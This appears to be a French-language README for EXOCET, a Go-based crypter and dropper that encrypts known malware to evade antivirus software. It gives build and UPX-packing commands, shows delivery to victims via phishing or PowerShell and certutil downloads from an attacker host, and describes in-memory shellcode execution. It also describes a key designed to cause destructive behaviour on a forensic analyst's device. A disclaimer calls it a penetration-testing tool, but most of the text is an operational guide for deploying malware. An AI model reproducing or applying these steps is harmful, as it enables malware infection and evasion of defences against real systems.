EXOCET - Outil de livraison de charge utile indétectable et contournant les antivirus

Chang Tan
AWS Certified Cloud Practitioner and Solutions Architect Associate
[email protected]

Utilisation mise à jour d'EXOCET

Assurez-vous de compresser vos charges utiles pour éviter toute fuite de la clé du crypter et compliquer davantage le travail des analystes de logiciels malveillants. Un packer commercial haut de gamme comme Themida n'est PAS nécessaire. Cela susciterait davantage de soupçons sans un certificat de signature de code. Sans certificat de signature de code, sur les systèmes Windows, SmartScreen est automatiquement déclenché. C'est la règle pour tous les programmes potentiellement indésirables ou 'PUP', ce qui signifie toutes les charges utiles malveillantes, beacons, geacons, chevaux de Troie d'accès à distance, etc., nécessitent un certificat de signature de code. Votre argent est mieux dépensé pour acheter un certificat de signature de code que pour un packer haut de gamme.

go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe

Ensuite, déposez la charge utile sur votre cible. En utilisant quelque chose comme un email de phishing, un lien, ou si vous avez déjà un accès shell, livrez-le en hébergeant votre propre serveur localement python -m http.server 80' et puis sur la machine que vous compromettez, exécutez dans une invite PowerShell iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe" ou certutil.exe -urlcache -split -f http://yourip/outputmalware.exe et ensuite exécutez avec outputmalware.exe

EXOCET est supérieur aux modules 'Evasive Payloads' de Metasploit car EXOCET utilise AES-256 en mode GCM (Galois/Counter Mode). Les charges utiles d'évasion de Metasploit utilisent un chiffrement RC4 facile à détecter. Bien que RC4 puisse déchiffrer plus rapidement, AES-256 est beaucoup plus difficile à déterminer l'intention du logiciel malveillant.

Cependant, il est possible d'utiliser Metasploit pour construire une charge utile d'évasion, puis de la chaîner avec EXOCET. Ainsi, EXOCET déchiffrera via AES-256, puis la charge utile d'évasion de Metasploit se déchiffre elle-même depuis RC4.

Comme mon précédent projet, DarkLordObama, cette boîte à outils est conçue pour être un véhicule de livraison/lancement, comme le fait Veil-Evasion.

Dark Lord Obama Project

Cependant, EXOCET n'est pas limité à une seule base de code ou à des plates-formes exécutant Python. EXOCET fonctionne sur TOUTES les plates-formes et architectures prises en charge par Go.

Aperçu d'Exocet

EXOCET est effectivement un dropper de malware de type crypter qui peut recycler des charges utiles facilement détectables comme WannaCry, les chiffrer en utilisant AES-GCM (Galois/Counter Mode), qui est plus sécurisé que AES-CBC, puis créer un fichier dropper pour la majorité des architectures et plates-formes existantes.

Fondamentalement...

1. Il ingère des logiciels malveillants dangereux qui sont maintenant détectables par les moteurs antivirus
2. Il les chiffre ensuite et produit son propre fichier Go
3. Ce fichier Go peut ensuite être compilé de manière croisée pour 99% des architectures connues
4. Lors de l'exécution, la charge utile chiffrée est écrite sur le disque et immédiatement exécutée en ligne de commande
5. Alternativement, au lieu d'un dépôt de fichier, il exécutera le shellcode reconstitué en mémoire en utilisant le module go-memexec d'amenzhinsky github.com/amenzhinsky/go-memexec
6. Un exécuteur de shellcode personnalisé est en cours de développement, il prend du shellcode C ordinaire et après transformation numérique, il l'exécute en créant un nouveau processus après avoir alloué l'espace d'adressage virtuel correct et lui avoir accordé les permissions RWX sur Windows

Cela signifie les architectures 32 bits et 64 bits, et cela fonctionne sur Linux, Windows, Macs, Unix, Android, iPhone, etc. Vous prenez n'importe quoi, et je veux dire N'IMPORTE QUOI, comme le ver Morris de 1988 qui a failli faire tomber Internet (qui exploitait une faille dans le démon d'écoute fingerd sur UNIX), et en faire une cyberarme viable à nouveau.

EXOCET est entièrement écrit en Go.

Comment utiliser

EXOCET, quel que soit le binaire que vous utilisez pour l'exécuter, nécessite Golang pour fonctionner. Par défaut, il génère un fichier .go crypté.

1. Utilisateurs Windows : Installer Go ici
2. Utilisateurs Linux : exécutez sudo apt-get update && sudo apt-get install -y golang
3. Vous devez installer les fichiers sources EXOCET dans golang go get github.com/tanc7/EXOCET-AV-Evasion
4. Les sous-requis seront également téléchargés et installés
5. Pour les utilisateurs Windows et Mac x64, des binaires pré-compilés sont dans le dossier /bin

Pour l'exécuter

go run EXOCET.go detectablemalware.exe outputmalware.go

Une clé est générée automatiquement pour vous. La clé est longue de 64 caractères et est entièrement composée de redirecteurs de pipe shell bash et cmd.exe pour confondre et perturber les tentatives de brute-force contre la clé en provoquant un comportement imprévisible et destructeur sur l'appareil de l'analyste judiciaire.

Pour les cibles Windows 64 bits...

env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go

Et il en sort un fichier outputmalware.exe

Pour les cibles macOS 64 bits

env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go

Pour les cibles Linux 64 bits

env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go

Voir cette référence sur github pour vos paramètres pour d'autres systèmes d'exploitation comme Android Référence pour la compilation croisée Go

Notez que la clé peut toujours être trouvée avec la commande strings, veuillez utiliser la commande upx-ucl pour empaqueter le binaire afin de masquer la clé.

De plus, il existe des binaires préconstruits que j'ai faits, ce qui signifie que vous devez simplement exécuter ./EXOCET ou EXOCET-Windows.exe

Informations légales

Moi, Chang Tan, et les créateurs du module principal et des sous-modules d'Exocet et des packages qu'il intègre ne sommes PAS responsables de l'utilisation abusive de cet outil. Ce n'est qu'un outil de test de pénétration. Il vous est strictement interdit de déployer des binaires de sortie d'Exocet contre des systèmes protégés non autorisés ou des systèmes gouvernementaux protégés non autorisés.

Je suis conscient que des acteurs de menace de l'APT41 et du NSO Group ont utilisé et/ou adopté du code de cet outil, en particulier la méthode go-memexec. Si je devais être approché par des enquêteurs fédéraux concernant l'utilisation abusive de cet outil, je ne revendique aucune responsabilité.

C'est la même chose qui est arrivée aux développeurs de Mimikatz et PowerShell Empire (qui ont déprécié leur propre développement en prenant conscience de son utilisation parmi les acteurs de menace). Les successeurs ont repris le développement d'Empire, et il existe des alternatives gratuites comme Covenant C2.

Démonstration en direct d'EXOCET

Raison du nom

Le 4 mai 1982, pendant la guerre des Malouines, un escadron de Super Etendards argentins a lancé un missile Exocet de fabrication française sur le HMS Sheffield. Malgré les tentatives de la Royal Navy pour arrêter le missile, l'un d'eux a frappé, coulant le Sheffield. Cet incident a littéralement mis l'Argentine sur la carte comme une démonstration de force contre une puissance coloniale mondiale.

Article de presse sur le naufrage du HMS Sheffield

Tout comme les actions d'Onel de Guzman avec le virus ILOVEYOU ont mis les Philippines sur la carte en tant que menace cybernétique.

Virus ILOVEYOU sur Wikipédia

Mise à jour à venir, notes et ambitions

.png)

Donc ce mois-ci et le mois prochain vont être chargés pour moi, et il y aura des retards dans la mise en œuvre de ces méthodes. Mais je suis impatient de commencer à mettre en œuvre de nouvelles techniques d'évasion antivirus telles que...

1. Accrochage en ligne (inline hooking)
2. Obfuscation en émulant BlackRota et le module gobfuscate
3. Évidement de processus (process hollowing)
4. Injection de DLL réfléchissante
5. Injection de processus à distance
6. Callbacks de stockage local de thread
7. Enregistrement de gestionnaires d'exceptions de haut niveau
8. Empaquetage UPX personnalisé

Je suis un homme très occupé, j'ai les priorités suivantes et j'aimerais demander un peu d'aide, quelques pull requests pour aider le projet. J'ai les choses suivantes à faire

1. Une comparution devant le tribunal fin octobre
2. National Cyber League
3. Cours de comptabilité et de finance, l'informatique n'a JAMAIS été ma spécialité à l'université et dans les semaines à venir j'aurai des examens à la suite
4. Conditions de libération surveillée fédérale et le FBI essaie de m'impliquer dans de nouveaux crimes non prouvés. J'ai des vidéos de dashcam que j'ai téléchargées dans le cloud pour le prouver et que j'envoie à mes avocats. J'ai documenté de multiples attaques contre moi, le vandalisme de ma voiture, de ma maison, déposé des rapports de police et des contre-rapports et je construis mon dossier pour déposer une plainte fédérale. L'un des auteurs, qui a arraché le pare-chocs avant de ma voiture, a été arrêté.
5. Un projet privé impliquant une interaction avec l'API CoinGecko
6. Gestion de cryptoscopeinitiative.org, une organisation à but non lucratif 501c3 en attente de dépôt
7. Enseignement de trois cours en ligne sur le développement d'exploits

Mise à jour à venir ! Exécution directe de shellcode chiffré ! (Implémentée dans les versions de test, pas encore publiée)

J'ai besoin d'un peu d'aide, car j'ai réussi à implémenter CGO pour exécuter du shellcode chiffré mais cela génère des violations d'accès mémoire avec le code de sortie 0xc0000005. Cela ne devrait pas être lié à DEP (Data Execution Prevention) car le fichier CGOTest/working-template-shellcode-executor.go a bien fonctionné.

Problème découvert

Il s'avère que VirtualAlloc doit être appelé depuis kernel32.dll et ntdll.dll pour rendre correctement la page mémoire où le shellcode atterrit, lisible, inscriptible et exécutable, en d'autres termes, activer PAGE_EXECUTE_READWRITE. Lisez la Note sur le problème de violation d'accès mémoire ci-dessous.

Une fois que j'aurai compris cela, CGO a été un casse-tête à implémenter, nous pourrons maintenant créer des crypters qui exécutent de l'ASSEMBLAGE EN LIGNE (inline assembly). Ce qui était considéré comme une impossibilité jusqu'à présent.

Notez que cela nécessite Golang et la chaîne d'outils MinGW installés sur Windows, et que vous exécutiez et génériez le shellcode sur Windows. La raison en est que CGO ne peut pas être compilé de manière croisée comme nos autres modules EXOCET. Pour installer la chaîne d'outils, vous devez aller sur https://www.msys2.org/ et suivre le guide. Ensuite, vous devez ajouter gcc à vos variables d'environnement dans Windows.

Étape 1 : Générer le shellcode, cela peut provenir de charges utiles Meterpreter de msfvenom, de balises Cobalt Strike, ou de votre propre shellcode personnalisé au format compatible C

Étape 2 : Copier uniquement les octets du shellcode, en excluant les guillemets dans un fichier texte comme sc.txt

Étape 3 : Votre fichier de shellcode devrait ressembler à ceci. Shellcode brut

Étape 4 : Exécutez maintenant la commande go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY

Étape 5 : Vous pouvez essayer de l'exécuter mais vous rencontrerez des erreurs de violation d'accès mémoire pour une raison quelconque, sur laquelle je travaille encore

Note sur le problème de violation d'accès mémoire

Apparemment, mis à part les limitations majeures de CGO qui interdisent ou frustrent considérablement la compilation croisée, le problème est que le shellcode que nous voulons exécuter atterrit dans une section de mémoire (analysée dans WinDBG x64) qui n'est pas RWX. En d'autres termes, à moins que nous n'écrivions du code C qui autorise explicitement l'exécution en mémoire du shellcode, il générera toujours des erreurs de violation d'accès.

L'autre méthode, que j'ai observée chez d'autres développeurs de modules Go rudimentaires https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, est qu'ils utilisent l'API Windows de Go pour interagir avec ntdll.dll et kernel32.dll afin d'appeler VirtualAlloc et de spécifier des zones de pages mémoire RWX. Cette méthode fonctionne mieux, mais il semble que le shellcode doit être uniquement au format transformé numériquement pour fonctionner.

Je travaille encore dessus, les amis. Je pourrais combiner plusieurs langages de programmation ensemble pour écrire un module d'exécution de shellcode approprié.

Note sur les puces Apple M1 pour les binaires précompilés

Malheureusement, je rencontre des erreurs lors de la création d'un binaire précompilé pour les MacBooks équipés des nouveaux CPU M1. Cela peut être un problème avec mon installation de Golang

┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go 
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status

De toute façon, vous avez toujours besoin de Golang pour compiler ou compiler de manière croisée le malware vers la plateforme que vous ciblez.